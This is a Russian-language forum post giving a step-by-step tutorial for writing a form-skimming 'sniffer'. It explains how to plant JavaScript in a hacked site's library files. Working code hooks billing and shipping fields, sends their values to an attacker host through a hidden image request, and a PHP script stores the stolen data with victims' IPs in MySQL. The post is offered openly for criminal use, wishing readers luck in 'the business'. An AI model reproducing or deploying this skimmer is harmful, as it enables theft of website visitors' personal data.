Пишем сниффер

  • Автор темы Admin

Admin

#1
Администратор
Регистрация
31.12.2019
Сообщения
7,534
Реакции
36
Вы не разбираетесь в кодинге, выступает пот когда видите набор не понятных символов и слов, у вас есть доступ к сайту, где вводят интересную информацию и вы хотите иметь возможность её "прочесть", но не хотите тратить деньги на покупку специального софта или доверить кому-то доступ?
Тогда этот пост для вас!
Здесь я опишу как быстро и самостоятельно написать код который собирает и отправляет инфу, вы не увидите здесь антидетектов или оптимальных решений, это пожалуй самое простое, не самое лучшее, но главное рабочее решение.

p.s. Если у вас действительно хороший доступ, лучше обратитесь к специалистам, их на данный момент не мало :)

p.p.s. я не работаю, мне писать не надо с предложениями.

Приступаем:

Вам необходимо иметь доступ, который позволит вам подключить JS скрипт к странице, если у вас есть шелл или фтп доступ, попробуйте добавить js код в один из существующих файлов ( который присутствует на странице с которой вы собираетесь собирать информацию, для этого нажмите правой кнопкой мыши на страницу и выберите просмотр кода страницы, после чего поищите строки в виде <script src="/js/jquery.js">, сам путь к файлу как могли догадаться /js/jquery.js, советую выбирать файлы которые содержат библиотеки кода, тот же jquery к примеру, так как их в повседневной работе не редактируют).
Если у вас доступ только к админ части, попробуйте погуглить, возможно есть способ залить шелл или добавить html-код к странице, в популярных cms это сделать можно! (если вам необходимо добавить html код к странице весь приведенный js-код вам необходимо будет вставить между <script>js code</script>)
Следующий шаг это определение полей ввода которые нас интересует. Откройте страницу, и на поле ввода нажмите правой кнопкой мыши и выберите исследование элемента, перед вами откроется консоль разработчика где вы увидите html-код этого поля, он должен быть автоматически выделен у вас и иметь подобный вид:

PHP:
<input type="text" name="first_name" class="inp-fname" id="billing_first_name" onclick="valid(this)">

В данном примере мы видим следующие параметры: type,name,class,id,onclick, в частых ситуациях нас интересует лишь один из трёх: name,class,id, остальные можно не учитывать для нашей задачи.

Вы должны выбрать именно тот параметр который имеет уникальное значение в отношении других элементов, если есть параметр id выбирайте его, он должен быть уникальным для всей страницы.
В зависимости от выбранного параметра вы будете использовать одну из следующих функций, как их использовать опишу ниже.

PHP:
name = getElementsByName
class = getElementsByClassName
id = getElementById

Дальше нам необходимо написать код, который будет отслеживать изменения в поле ввода, для этого создаем следующий код:

PHP:
function spy_func(){
    try{
        document.getElementsByName("first_name")[0].setAttribute("onchange","spy_send()");//если вы выбрали параметр name
        document.getElementsByClassName("inp-fname")[0].setAttribute("onchange","spy_send()");//если вы выбрали параметр class
        document.getElementById("billing_first_name").setAttribute("onchange","spy_send()");//если вы выбрали параметр id
    }
    catch(e){}
}

Теперь перепишите таким образом для каждого поля которое вас интересует, должно выйти следующим образом:

PHP:
function spy_func(){
    try{
        document.getElementById("billing_first_name").setAttribute("onchange","spy_send()");
	document.getElementById("billing_last_name").setAttribute("onchange","spy_send()");
	document.getElementById("billing_phone").setAttribute("onchange","spy_send()");
    }
    catch(e){}
}

Если вам необходимо добавить сбор данных с полей которые находятся на другой странице (к примеру часть данных вводится на одной форме и после отправки вы попадаете на следующую страницу где продолжаете вводить данные), вы должны добавить новый блок try{}catch(e){}, он нужен для того чтобы когда браузер не найдет запрашиваемые поля скрипт не создавал ошибок, сделать это просто, пример:

PHP:
function spy_func(){
    try{
        document.getElementById("billing_first_name").setAttribute("onchange","spy_send()");
	document.getElementById("billing_last_name").setAttribute("onchange","spy_send()");
	document.getElementById("billing_phone").setAttribute("onchange","spy_send()");
    }
    catch(e){}
try{
        document.getElementById("shipping_first_name").setAttribute("onchange","spy_send()");
	document.getElementById("shipping_last_name").setAttribute("onchange","spy_send()");
	document.getElementById("shipping_phone").setAttribute("onchange","spy_send()");
    }
    catch(e){}
}

Осталось написать часть которая собирает данные и отправляет их.

PHP:
function spy_send(){
	var data_str="";
  	try{
    	data_str += "billing_f_name="+ document.getElementById("billing_first_name").value.toString() + "&"; //Не забывайте использовать конкретную функцию для параметра который используете
      	data_str += "billing_l_name="+ document.getElementById("billing_last_name").value.toString() + "&";
      	data_str += "billing_phone="+ document.getElementById("billing_phone").value.toString() + "&";
    }
  	catch(e){}
  	//Так же для каждой страницы свой блок try{}catch(e){}
  	try{
    	data_str += "shipping_f_name="+ document.getElementById("shipping_first_name").value.toString() + "&"; //Не забывайте использовать конкретную функцию для параметра который используете
      	data_str += "shipping_l_name="+ document.getElementById("shipping_last_name").value.toString() + "&";
      	data_str += "shipping_phone="+ document.getElementById("shipping_phone").value.toString() + "&";
    }
  	catch(e){}
  	//здесь мы имеем уже сформированную строку с данными data_str и запрашиваем с нашего сервера domain.com наш скрипт ( можете использовать другой известный вам способ отправки данных)
  	try{
       var img = document.createElement("img");
      img.src ="https://domain.com/script.php?"+data_str;
      img.style="display:none";
      var src = document.getElementsByTagName("body")[0];
      src.appendChild(img);
    }
 	catch(e){}
    return true;
}

Завершающим этапом (за который меня закидают тапками) будет добавление последней строки в наш js-код

PHP:
window.setInterval(spy_func, 1000);

Эта строка поможет нам отследить когда появиться поле ввода.

На этом снифер завершен и мы можем его объединить ( очередность блоков не важна).

Так же важно помнить что отправка данных с страницы которая использует https:// должна идти так же на https://

Осталось написать серверную часть:

Все данные мы будем писать в базу данных mysql, она есть практически на каждом хостинге

Нам необходимо зайти в базу данных, можете использовать для этого adminer или phpMyAdmin и создать таблицу куда всё это будет писаться.
Назовём её info_table и создадим в ней следующие колонки 

PHP:
id (необходимо поставить галочку AUTO INCREMENT)
billing_f_name
billing_l_name
billing_phone
shipping_f_name
shipping_l_name
shipping_phone
ip

Сделайте все поля кроме id формата string. Как работать с базой расписывать не буду, много материала в сети.

Мы создали таблицу в которой есть собственная колонка для каждого поля ввода, дальше я напишу php script на который снифер отправляет запрос, он должен работать универсально, вам необходимо будет внести лишь несколько изменений:

PHP:
<?php
header("Access-Control-Allow-Origin: *");
$db_config=Array( //впишите данные доступа к базе данных
  "host"=>"localhost",
  "user"=>"root",
  "pass"=>"qwerty",
  "db_name"=>"my_database",
  "tbl_name"=>"info_table",
);
$sniff_inputs = Array(//пропишите название полей из снифера (сравните с примером)
    "billing_f_name", "billing_l_name","billing_phone", "shipping_f_name","shipping_l_name","shipping_phone"
);
//end
$db= new mysqli($db_config["host"],$db_config["user"],$db_config["pass"],$db_config["db_name"]);
$ip = $db->real_escape_string($_SERVER["REMOTE_ADDR"]);
$data = $_REQUEST;
foreach($data as $key=>$value){
  $data[$key]=$db->real_escape_string($value);
}
$updated_data = Array();
foreach($sniff_inputs as $input){
  if(!empty($data[$input]))
    $updated_data[$input] = $data[$input];
}

$find_id = $db->query("select id from {$db_config["tbl_name"]} where ip='{$ip}'");
$find_id = $find_id->fetch_assoc();
if(empty($find_id)){
  $sql = "insert into {$db_config["tbl_name"]} (";
  $part_key="";
  $part_value="";
  foreach($updated_data as $key=>$value){
    if(!empty($part_key)){
      $part_key.=",";
      $part_value.=",";
    }
    $part_key.="`{$key}`";
    $part_value.="'{$value}'";
  }
  $sql .= "{$part_key}, ip) values ({$part_value}, '{$ip}')";
}
else{
  $id=$find_id["id"];
  $sql = "update {$db_config["tbl_name"]} set ";
  $part= "";
  foreach($updated_data as $key=>$value){
    if(!empty($part)) $part.=",";
    $part .="`{$key}`='$value'";
  }
  $sql .= "{$part} where id={$id}";
}
$db->query($sql);

Теперь записи должны появиться у вас в базе данных.
Спасибо кто дочитал до конца, будут вопросы задавайте, всем удачи в бизе! 

Автор: roshen
 

Members, viewing this thread

Сейчас на форуме нет ни одного пользователя.